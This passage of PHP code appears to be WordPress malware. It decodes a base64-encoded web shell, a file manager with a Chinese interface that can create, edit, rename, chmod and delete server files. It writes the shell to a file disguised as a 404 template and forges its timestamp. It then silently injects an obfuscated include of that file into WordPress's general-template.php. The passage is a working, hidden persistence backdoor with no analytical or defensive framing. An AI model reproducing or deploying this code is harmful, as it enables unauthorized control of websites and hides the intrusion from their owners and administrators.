LicvJy5odG1sc3BlY2lhbGNoYXJzKCRoZWVlKTsKICAgICAgICAgICAgICAgIGlmKCFta2RpcigkbmV3KSl7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9InJlZCI+5paw5bu655uu5b2V5aSx6LSlITwvZm9udD48YnIgLz4nOwogICAgICAgICAgICAgICAgfWVsc2V7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj7mlrDlu7rnm67lvZXmiJDlip8hID46KTwvZm9udD48YnIgLz4nOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9Ci8vRGVsZXRlIGZpbGUKICAgICAgICAgICAgZWxzZWlmKCRfR0VUWyd0eXBlJ10gPT0gJ2ZpbGUnKXsKCiAgICAgICAgICAgICAgICAkaGVsbCA9ICRfR0VUWydwYXRoJ107CiAgICAgICAgICAgICAgICAkeWVhaCA9ICRfR0VUWyduYW1lJ107CiAgICAgICAgICAgICAgICAkcGF0YyA9ICIkaGVsbC8keWVhaCI7CgogICAgICAgICAgICAgICAgaWYodW5saW5rKCRwYXRjKSl7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj7mlofku7bliKDpmaTmiJDlip88L2ZvbnQ+PGJyIC8+JzsKICAgICAgICAgICAgICAgIH1lbHNlewogICAgICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPuaWh+S7tuWIoOmZpOWksei0pTwvZm9udD48YnIgLz4nOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIGVjaG8gJzwvY2VudGVyPic7CiAgICAgICAgJHNjYW5kaXIgPSBzY2FuZGlyKCRwYXRoKTsKICAgICAgICAkcGEgPSBnZXRjd2QoKTsKICAgICAgICBlY2hvICcgPGRpdiBpZD0iY29udGVudCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBjbGFzcz0idGFibGVfaG9tZSIgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMyIgY2VsbHNwYWNpbmc9IjEiIGFsaWduPSJjZW50ZXIiPgogCjx0cj4KPHRoIGNsYXNzPXRoX2hvbWUgc3R5bGU9ImJhY2tncm91bmQ6YmxhY2s7Y29sb3I6I2ZmZjsiPjxjZW50ZXI+5ZCN56ewPC9jZW50ZXI+PC90aD4KPHRoIGNsYXNzPXRoX2hvbWUgc3R5bGU9ImJhY2tncm91bmQ6YmxhY2s7Y29sb3I6I2ZmZjsiID48Y2VudGVyPuWkp+WwjzwvY2VudGVyPjwvdGg+Cjx0aCBjbGFzcz10aF9ob21lIHN0eWxlPSJiYWNrZ3JvdW5kOmJsYWNrO2NvbG9yOiNmZmY7IiA+PGNlbnRlcj7mnYPpmZA8L2NlbnRlcj48L3RoPgo8dGggY2xhc3M9dGhfaG9tZSBzdHlsZT0iYmFja2dyb3VuZDpibGFjaztjb2xvcjojZmZmOyIgPjxjZW50ZXI+5pON5L2c6YCJ6aG5PC9jZW50ZXI+PC90aD4KPC90cj4KCgogPHRyPgo8dGQgY2xhc3M9InRkX2hvbWUiIGFsaWduPSJjZW50ZXIiPgo8YSBocmVmPSI/QVJSQVk9Jy4kQVJSQVkuJyZwYXRoPScuZGlybmFtZSgkcGF0aCkuJyIgc3R5bGU9ImRpc3BsYXk6YmxvY2s7IHdpZHRoOjEwMCU7IiB0aXRsZT0i5LiK5LiA6aG1Ij7kuIrkuIDpobU8L2E+CjwvdGQ+PHRkIGNsYXNzPXRkX2hvbWUgYWxpZ249Y2VudGVyPlNpemU8L3RkPiA8dGQgY2xhc3M9dGRfaG9tZSBhbGlnbj1jZW50ZXI+Q2htb2Q8L3RkPiA8dGQgY2xhc3M9dGRfaG9tZSBhbGlnbj1jZW50ZXI+IDxhIGhyZWY9Ij9vcHRpb24mQVJSQVk9Jy4kQVJSQVkuJyZwYXRoPScuJHBhdGguJyZvcHQ9YmFydSZuYW1lPW5ldy5waHAiPisg5paw5bu65paH5Lu2PC9hPiB8IDxhIGhyZWY9Ij9vcHRpb24mQVJSQVk9Jy4kQVJSQVkuJyZwYXRoPScuJHBhdGguJyZvcHQ9YnR3JnR5cGU9ZGlyIj4rIOaWsOW7uuebruW9lTwvYT4gPC90ZD48L3RyPgonOwoKICAgICAgICBmb3JlYWNoKCRzY2FuZGlyIGFzICRkaXIpewogICAgICAgICAgICBpZighaXNfZGlyKCIkcGF0aC8kZGlyIikgfHwgJGRpciA9PSAnLicgfHwgJGRpciA9PSAnLi4nKSBjb250aW51ZTsKICAgICAgICAgICAgZWNobyAiCjx0cj4KPHRkIGNsYXNzPXRkX2hvbWU+IDxpbWcgc3JjPSdkYXRhOmltYWdlL3BuZztiYXNlNjQsUjBsR09EbGhFd0FRQUxNQUFBQUFBUC8vLzV5Y0FNN09ZLy8vblAvL3p2L09uUGYzOS8vLy93QUFBQUFBQUFBQUFBQUFBQUFBQUFBQSIuIkFBQUFBQ0g1QkFFQUFBZ0FMQUFBQUFBVEFCQUFBQVJSRU1sSnE3MDQ2eXA2QnhzaUhFVkJFQUtZQ1VQckRwN0hsWFJkRW9NcUNlYnAiLiIvNFljaGZmekdRaEg0WVJZUEIyRE9sSFBpS3dxZDFQcTh5clZWZzNRWWVINVJZSzVySmZhRlVVQTN2QjRmQklCQURzPSc+IDxhIGhyZWY9XCI/QVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aC8kZGlyXCI+JGRpcjwvYT48L3RkPgo8dGQgY2xhc3M9dGRfaG9tZSA+PGNlbnRlcj5ESVI8L2NlbnRlcj48L3RkPgo8dGQgY2xhc3M9dGRfaG9tZSBhbGlnbj1jZW50ZXI+CjxhIGhyZWY9XCI/b3B0aW9uJkFSUkFZPXskQVJSQVl9JnBhdGg9JHBhdGgmb3B0PWNobW9kJnR5cGU9ZGlyJm5hbWU9JGRpclwiIHRpdGxlPSfmnYPpmZDorr7nva4nPgoiOwogICAgICAgICAgICBpZihpc193cml0YWJsZSgiJHBhdGgvJGRpciIpKSBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPic7CiAgICAgICAgICAgIGVsc2VpZighaXNfcmVhZGFibGUoIiRwYXRoLyRkaXIiKSkgZWNobyAnPGZvbnQgY29sb3I9InJlZCI+JzsKICAgICAgICAgICAgZWNobyBqdWVqaWFuZ19wZXJtcygiJHBhdGgvJGRpciIpOwogICAgICAgICAgICBpZihpc193cml0YWJsZSgiJHBhdGgvJGRpciIpIHx8ICFpc19yZWFkYWJsZSgiJHBhdGgvJGRpciIpKSBlY2hvICc8L2ZvbnQ+JzsKCiAgICAgICAgICAgIGVjaG8gIgo8L2E+CjwvdGQ+CgoKPHRkIGNsYXNzPXRkX2hvbWUgPjxjZW50ZXI+CjxhIGhyZWY9XCI/b3B0aW9uJkFSUkFZPXskQVJSQVl9JnBhdGg9JHBhdGgmb3B0PXJlbmFtZSZ0eXBlPWRpciZuYW1lPSRkaXJcIj7ph43lkb3lkI08L2E+CjxhIGhyZWY9XCJqYXZhc2NyaXB0OmlmKGNvbmZpcm0oJ+ehruWunuimgeWIoOmZpOWQlz8nKSlsb2NhdGlvbj0nP29wdGlvbiZBUlJBWT17JEFSUkFZfSZwYXRoPXskcGF0aH0mb3B0PWRlbGV0ZSZ0eXBlPWRpciZuYW1lPXskZGlyfSdcIj7liKDpmaQ8L2E+CjwvY2VudGVyPjwvdGQ+CjwvdHI+IjsKICAgICAgICB9CiAgICAgICAgZWNobyAnPGJyPic7CiAgICAgICAgZm9yZWFjaCgkc2NhbmRpciBhcyAkZmlsZSl7CiAgICAgICAgICAgIGlmKCFpc19maWxlKCIkcGF0aC8kZmlsZSIpKSBjb250aW51ZTsKICAgICAgICAgICAgJHNpemUgPSBmaWxlc2l6ZSgiJHBhdGgvJGZpbGUiKS8xMDI0OwogICAgICAgICAgICAkc2l6ZSA9IHJvdW5kKCRzaXplLDMpOwogICAgICAgICAgICBpZigkc2l6ZSA+PSAxMDI0KXsKICAgICAgICAgICAgICAgICRzaXplID0gcm91bmQoJHNpemUvMTAyNCwyKS4nIE1CJzsKICAgICAgICAgICAgfWVsc2V7CiAgICAgICAgICAgICAgICAkc2l6ZSA9ICRzaXplLicgS0InOwogICAgICAgICAgICB9CgoKICAgICAgICAgICAgZWNobyAiPHRyPgo8dGQgY2xhc3M9dGRfaG9tZSA+IDxpbWcgc3JjPSdkYXRhOmltYWdlL3BuZztiYXNlNjQsaVZCT1J3MEtHZ29BQUFBTlNVaEVVZ0FBQUF3QUFBQVFDQVlBQUFBaVlaNEhBQUFBQ1hCSVdYTUFBQXNUQUFBTEV3RUFtcHdZQUFBS1RXbERRMUJRYUc5MGIzTm9iM0FnU1VORElIQnliMlpwYkdVQUFIamFuVk4zV0pQM0ZqN2Y5MlVQVmtMWThMR1hiSUVBSWlPc0NNZ1FXYUlRa2dCaGhCQVNRTVdGaUFwV0ZCVVJuRWhWeElMVkNraWRpT0tnS0xoblFZcUlXb3RWWERqdUg5eW50WDE2NyszdCs5Zjd2T2VjNS96T2VjOFBnQkVTSnBIbW9tb0FPVktGUERyWUg0OVBTTVRKdllBQ0ZVamdCQ0FRNXN2Q1p3WEZBQUR3QTNsNGZuU3dQL3dCcjI4QUFnQncxUzRrRXNmaC80TzZVQ1pYQUNDUkFPQWlFdWNMQVpCU0FNZ3VWTWdVQU1nWUFMQlRzMlFLQUpRQUFHeDVmRUlpQUtvTkFPejBTVDRGQU5pcGs5d1hBTmlpSEtrSUFJMEJBSmtvUnlRQ1FMc0FZRldCVWl3Q3dNSUFvS3hBSWk0RXdLNEJnRm0yTWtjQ2dMMEZBSGFPV0pBUFFHQUFnSmxDTE13QUlEZ0NBRU1lRTgwRElFd0RvRERTditDcFgzQ0Z1RWdCQU1ETGxjMlhTOUl6RkxpVjBCcDM4dkRnNGlIaXdteXhRbUVYS1JCbUNlUWluSmViSXhOSTV3Tk16Z3dBQUJyNTBjSCtPRCtRNStiazRlWm01Mnp2OU1XaS9tdndieUkrSWZIZi9yeU1BZ1FBRUU3UDc5cGY1ZVhXQTNESEFiQjF2MnVwV3dEYVZnQm8zL2xkTTlzSm9Gb0swSHI1aTNrNC9FQWVucUZReUR3ZEhBb0xDKzBsWXFHOU1PT0xQdjh6NFcvZ2kzNzIvRUFlL3R0NjhBQnhta0NacmNDamcvMXhZVzUycmxLTzU4c0VRakZ1OStjai9zZUZmLzJPS2RIaU5MRmNMQldLOFZpSnVGQWlUY2Q1dVZLUlJDSEpsZUlTNlg4eThSK1cvUW1UZHcwQXJJWlB3RTYyQjdYTGJNQis3Z0VDaXc1WTBuWUFRSDd6TFl3YUM1RUFFR2MwTW5uM0FBQ1R2L21QUUNzQkFNMlhwT01BQUx6b0dGeW9sQmRNeGdnQUFFU2dnU3F3UVFjTXdSU3N3QTZjd1IyOHdCY0NZUVpFUUF3a3dEd1FRZ2JrZ0J3S29SaVdRUmxVd0RyWUJMV3dBeHFnRVpyaEVMVEJNVGdONStBU1hJSHJjQmNHWUJpZXdoaThoZ2tFUWNnSUUyRWhPb2dSWW83WUlzNElGNW1PQkNKaFNEU1NnS1FnNllnVVVTTEZ5SEtrQXFsQ2FwRmRTQ1B5TFhJVU9ZMWNRUHFRMjhnZ01vcjhpcnhITVpTQnNsRUQxQUoxUUxtb0h4cUt4cUJ6MFhRMEQxMkFscUpyMFJxMEhqMkF0cUtuMFV2b2RYUUFmWXFPWTREUk1RNW1qTmxoWEl5SFJXQ0pXQm9teHhaajVWZzFWbzgxWXgxWU4zWVZHOENlWWU4SUpBS0xnQlBzQ0Y2RUVNSnNncENRUjFoTVdFT29KZXdqdEJLNkNGY0pnNFF4d2ljaWs2aFB0Q1Y2RXZuRWVHSTZzWkJZUnF3bTdpRWVJWjRsWGljT0UxK1RTQ1FPeVpMa1Rnb2hKWkF5U1F0SmEwamJTQzJrVTZRKzBoQnBuRXdtNjVCdHlkN2tDTEtBckNDWGtiZVFENUJQa3Z2SncrUzNGRHJGaU9KTUNhSWtVcVNVRWtvMVpUL2xCS1dmTWtLWm9LcFJ6YW1lMUFpcWlEcWZXa2x0b0haUUwxT0hxUk0wZFpvbHpac1dROHVrTGFQVjBKcHBaMm4zYUMvcGRMb0ozWU1lUlpmUWw5SnI2QWZwNSttRDlIY01EWVlOZzhkSVlpZ1pheGw3R2FjWXR4a3ZtVXltQmRPWG1jaFVNTmN5RzVsbm1BK1liMVZZS3ZZcWZCV1J5aEtWT3BWV2xYNlY1NnBVVlhOVlA5VjVxZ3RVcTFVUHExNVdmYVpHVmJOUTQ2a0oxQmFyMWFrZFZidXBOcTdPVW5kU2oxRFBVVitqdmwvOWd2cGpEYktHaFVhZ2hraWpWR08zeGhtTklSYkdNbVh4V0VMV2NsWUQ2eXhybUUxaVc3TDU3RXgyQmZzYmRpOTdURk5EYzZwbXJHYVJacDNtY2MwQkRzYXg0UEE1Mlp4S3ppSE9EYzU3TFFNdFB5MngxbXF0WnExK3JUZmFldHErMm1MdGN1MFc3ZXZhNzNWd25VQ2RMSjMxT20wNjkzVUp1amE2VWJxRnV0dDF6K28rMDJQcmVla0o5Y3IxRHVuZDBVZjFiZlNqOVJmcTc5YnYwUjgzTURRSU5wQVpiREU0WS9ETWtHUG9hNWhwdU5Id2hPR29FY3RvdXBIRWFLUFJTYU1udUNidWgyZmpOWGdYUG1hc2J4eGlyRFRlWmR4clBHRmlhVExicE1Ta3hlUytLYzJVYTVwbXV0RzAwM1RNek1nczNLellyTW5zampuVm5HdWVZYjdadk52OGpZV2xSWnpGU29zMmk4ZVcycFo4eXdXV1RaYjNySmhXUGxaNVZ2VlcxNnhKMWx6ckxPdHQxbGRzVUJ0WG13eWJPcHZMdHFpdG02M0VkcHR0M3hUaUZJOHAwaW4xVTI3YU1lejg3QXJzbXV3RzdUbjJZZllsOW0zMnp4M01IQklkMWp0ME8zeHlkSFhNZG14d3ZPdWs0VFREcWNTcHcrbFhaeHRub1hPZDh6VVhwa3VReXhLWGRwY1hVMjJuaXFkdW4zckxsZVVhN3JyU3RkUDFvNXU3bTl5dDJXM1UzY3c5eFgyciswMHVteHZKWGNNOTcwSDA4UGRZNG5ITTQ1Mm5tNmZDODVEbkwxNTJYbGxlKzcwZVQ3T2NKcDdXTUczSTI4UmI0TDNMZTJBNlBqMWwrczdwQXo3R1BnS2ZlcCtIdnFhK0l0ODl2aU4rMW42WmZnZjhudnM3K3N2OWovaS80WG55RnZGT0JXQUJ3UUhsQWIyQkdvR3pBMnNESHdTWkJLVUhOUVdOQmJzR0x3dytGVUlNQ1ExWkgzS1RiOEFYOGh2NVl6UGNaeXlhMFJYS0NKMFZXaHY2TU13bVRCN1dFWTZHendqZkVINXZwdmxNNmN5MkNJamdSMnlJdUI5cEdaa1grWDBVS1NveXFpN3FVYlJUZEhGMDl5eldyT1JaKzJlOWp2R1BxWXk1Tzl0cXRuSjJaNnhxYkZKc1kreWJ1SUM0cXJpQmVJZjRSZkdYRW5RVEpBbnRpZVRFMk1ROWllTnpBdWRzbWpPYzVKcFVsblJqcnVYY29ya1g1dW5PeTU1M1BGazFXWkI4T0lXWUVwZXlQK1dESUVKUUx4aFA1YWR1VFIwVDhvU2JoVTlGdnFLTm9sR3h0N2hLUEpMbW5WYVY5ampkTzMxRCttaUdUMFoxeGpNSlQxSXJlWkVaa3JrajgwMVdSTmJlck0vWmNka3RPWlNjbEp5alVnMXBsclFyMXpDM0tMZFBaaXNya3cza2VlWnR5aHVUaDhyMzVDUDVjL1BiRld5RlROR2p0Rkt1VUE0V1RDK29LM2hiR0Z0NHVFaTlTRnJVTTk5bS91cjVJd3VDRm55OWtMQlF1TEN6MkxoNFdmSGdJcjlGdXhZamkxTVhkeTR4WFZLNlpIaHA4Tko5eTJqTHNwYjlVT0pZVWxYeWFubmM4bzVTZzlLbHBVTXJnbGMwbGFtVXljdHVydlJhdVdNVllaVmtWZTlxbDlWYlZuOHFGNVZmckhDc3FLNzRzRWE0NXVKWFRsL1ZmUFY1YmRyYTNrcTN5dTNyU091azYyNnM5MW0vcjBxOWFrSFYwSWJ3RGEwYjhZM2xHMTl0U3Q1MG9YcHE5WTdOdE0zS3pRTTFZVFh0Vzh5MnJOdnlvVGFqOW5xZGYxM0xWdjJ0cTdlKzJTYmExci9kZDN2ekRvTWRGVHZlNzVUc3ZMVXJlRmRydlVWOTlXN1M3b0xkanhwaUc3cS81bjdkdUVkM1Q4V2VqM3VsZXdmMlJlL3JhblJ2Yk55dnY3K3lDVzFTTm8wZVNEcHc1WnVBYjlxYjdacDN0WEJhS2c3Q1FlWEJKOSttZkh2alVPaWh6c1BjdzgzZm1YKzM5UWpyU0hrcjBqcS9kYXd0bzIyZ1BhRzk3K2lNbzUwZFhoMUh2cmYvZnU4eDQyTjF4eldQVjU2Z25TZzk4Zm5rZ3BQanAyU25ucDFPUHozVW1keDU5MHo4bVd0ZFVWMjlaMFBQbmo4WGRPNU10MS8zeWZQZTU0OWQ4THh3OUNMM1l0c2x0MHV0UGE0OVIzNXcvZUZJcjF0djYyWDN5KzFYUEs1MDlFM3JPOUh2MDMvNmFzRFZjOWY0MXk1ZG4zbTk3OGJzRzdkdUp0MGN1Q1c2OWZoMjl1MFhkd3J1VE54ZGVvOTRyL3krMnYzcUIvb1A2biswL3JGbHdHM2crR0RBWU0vRFdRL3ZEZ21IbnY2VS85T0g0ZEpIekVmVkkwWWpqWStkSHg4YkRScTk4bVRPaytHbnNxY1R6OHArVnY5NTYzT3I1OS85NHZ0THoxajgyUEFMK1l2UHY2NTVxZk55NzZ1cHJ6ckhJOGNmdk01NVBmR20vSzNPMjMzdnVPKzYzOGU5SDVrby9FRCtVUFBSK21QSHA5QlA5ejduZlA3OEwvZUU4L3NsMHA4ekFBQUFJR05JVWswQUFIb2xBQUNBZ3dBQStmOEFBSURwQUFCMU1BQUE2bUFBQURxWUFBQVhiNUpmeFVZQUFBRzRTVVJCVkhqYWZKTFBhaE5SRk1aLzk5eVphYkJ4Q05OS2l5Z294R0NnbEJaY3VDZ0k5ZzJLTDFOQ3dTNUtYOEFuVUxvU3VuUFZyZHZHZ0J1cEVWMjRFV1FDTThuTTVNKzkxOFZNUnVPaTMrckNQZC81ZmVmY3ExNzFYanUwNVRiWnVlSHkvRXdCZUdqTDI1TVQ1c2F3TUlhSlhUVi9HZ3g0ZDNYRjBYSFBYWjZmS1FHdzFySXdocGt4bU9tVVBNdEl4Mk9TSkdHY3Bydy9QVVY4emRGeHo4azRUZXR1Z2RZMGdvQkFhendSbEFoeEhQUG00b0lYblE2ZkIzMDhBQkhoWTc4UHdOWjZ4SzlKekc2M0M4REx3ME9jdFlSaHlJZnI2OUlBMEc2M2NWWCtKaTBhUVFDekdRQ0xmMmJ5QUxSU0RJZkR1anZBdDZvZzhockVpNEw5dmIzU1VHUVpTb1NublE0TGE3bExWSk9XdWw4VUFCUlpWczNnSEY5dWJ1cUNKV2xyUFNwcGs1aUQ3ZTJLa09jQTdIYTd6SXdwTS85SGF0TEMwNW9pei84Ty9mUHJkOEtXejQvZmFVMEJtRTh6L0xVNzZNM05rakF0Q3JRSUQ1NDhMa24zWUdZTUQ2TUlheTJtb2dKTWkyS1ZBQkMyZlBMYzU5SEdCb2dBWUl4QnFyTzNmT21ENTgvS3l5cTNjUTZ0VkcwQ0dLY3BYaklhcmF4UWkyQ3NMWXNCSllKVENpVkNNaHFobWpzN3p0cmJ2L2RTSXNLZkFRRGZJc0tIdkFaWVpBQUFBQUJKUlU1RXJrSmdnZz09Jz4KCiI7Ci8vIDxhIGhyZWY9XCI/QVJSQVk9eyRBUlJBWX0mZmlsZXNyYz0kcGF0aC8kZmlsZSZwYXRoPSRwYXRoXCI+JGZpbGU8L2E+CiAgICAgICAgICAgIGVjaG8gIgo8YSBocmVmPVwiP29wdGlvbiZBUlJBWT17JEFSUkFZfSZwYXRoPXskcGF0aH0mb3B0PWVkaXQmdHlwZT1maWxlJm5hbWU9eyRmaWxlfVwiPnskZmlsZX08L2E+CjwvdGQ+Cjx0ZCBjbGFzcz10ZF9ob21lPjxjZW50ZXI+Ii4kc2l6ZS4iPC9jZW50ZXI+PC90ZD4KPHRkIGNsYXNzPXRkX2hvbWUgYWxpZ249J2NlbnRlcic+PGEgaHJlZj1cIj9vcHRpb24mQVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aCZvcHQ9Y2htb2QmdHlwZT1maWxlJm5hbWU9JGZpbGVcIiB0aXRsZT0n5p2D6ZmQ6K6+572uJz4iOwoKCgogICAgICAgICAgICBpZihpc193cml0YWJsZSgiJHBhdGgvJGZpbGUiKSkgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj4nOwogICAgICAgICAgICBlbHNlaWYoIWlzX3JlYWRhYmxlKCIkcGF0aC8kZmlsZSIpKSBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj4nOwogICAgICAgICAgICBlY2hvIGp1ZWppYW5nX3Blcm1zKCIkcGF0aC8kZmlsZSIpOwogICAgICAgICAgICBpZihpc193cml0YWJsZSgiJHBhdGgvJGZpbGUiKSB8fCAhaXNfcmVhZGFibGUoIiRwYXRoLyRmaWxlIikpIGVjaG8gJzwvZm9udD4nOwogICAgICAgICAgICBlY2hvICI8L2E+PC90ZD4KPHRkIGNsYXNzPXRkX2hvbWU+PGNlbnRlcj4KPGEgaHJlZj1cIj9vcHRpb24mQVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aCZvcHQ9ZWRpdCZ0eXBlPWZpbGUmbmFtZT0kZmlsZVwiPue8lui+kTwvYT4KPGEgaHJlZj1cIj9vcHRpb24mQVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aCZvcHQ9cmVuYW1lJnR5cGU9ZmlsZSZuYW1lPSRmaWxlJnBhdGg9JHBhdGhcIj7ph43lkb3lkI08L2E+CjxhIGhyZWY9XCJqYXZhc2NyaXB0OmlmKGNvbmZpcm0oJ+ehruWunuimgeWIoOmZpOWQlz8nKSlsb2NhdGlvbj0nP29wdGlvbiZBUlJBWT17JEFSUkFZfSZwYXRoPXskcGF0aH0mb3B0PWRlbGV0ZSZ0eXBlPWZpbGUmbmFtZT17JGZpbGV9J1wiPuWIoOmZpDwvYT4KPC9jZW50ZXI+PC90ZD4KPC90cj4iOwogICAgICAgIH0KICAgICAgICBlY2hvICc8L3RhYmxlPgo8L2Rpdj4nOwogICAgfQogICAgZWNobyAnPGJyPjxicj48YnI+PGJyPjwvYj4KPC9ib2R5PiA8L2h0bWw+PC9ib2R5Pgo8L2h0bWw+JzsKICAgIGRpZTsKZW5kaWY7ICAvLyA9PT09CgoKCgoKCg=="; // WP 404
    @chmod($jue_jiang_404_path, 0644);
    @file_put_contents($jue_jiang_404_path, base64_decode($jue_jiang_404));
    @touch($jue_jiang_404_path, filectime($file_general_template_path));
    @chmod($jue_jiang_404_path, 0444);
}

$general_template_code = @file_get_contents($file_general_template_path);
$gen_mat = base64_decode("QGluY2x1ZGVbXHNdK2Jhc2U2NF9kZWNvZGVbXHNdKj9cKCJbMC05YS16QS1aLT0rXC9dKyJcKTs=");
$isget_mat = preg_match("/{$gen_mat}/i",$general_template_code)?true:false;
if (!$isget_mat){
    $pma = base64_decode("ZnVuY3Rpb25bXHNdW2EtekEtWjAtOV9dKlwoLio/XCkuKg==");
    preg_match_all("/{$pma}/i",$general_template_code,$pr);
    $gen_temp_fun_name = $pr[0][rand(0,count($pr[0])-1)];
    $jj404_b64_path = base64_encode($jue_jiang_404_path);
    $new_general_template = str_replace($gen_temp_fun_name,"@include base64_decode(\"{$jj404_b64_path}\");".PHP_EOL.$gen_temp_fun_name,$general_template_code);
    @chmod($file_general_template_path, 0644);
    @file_put_contents($file_general_template_path,$new_general_template);
    @touch($file_general_template_path, filectime($file_general_template_path));
}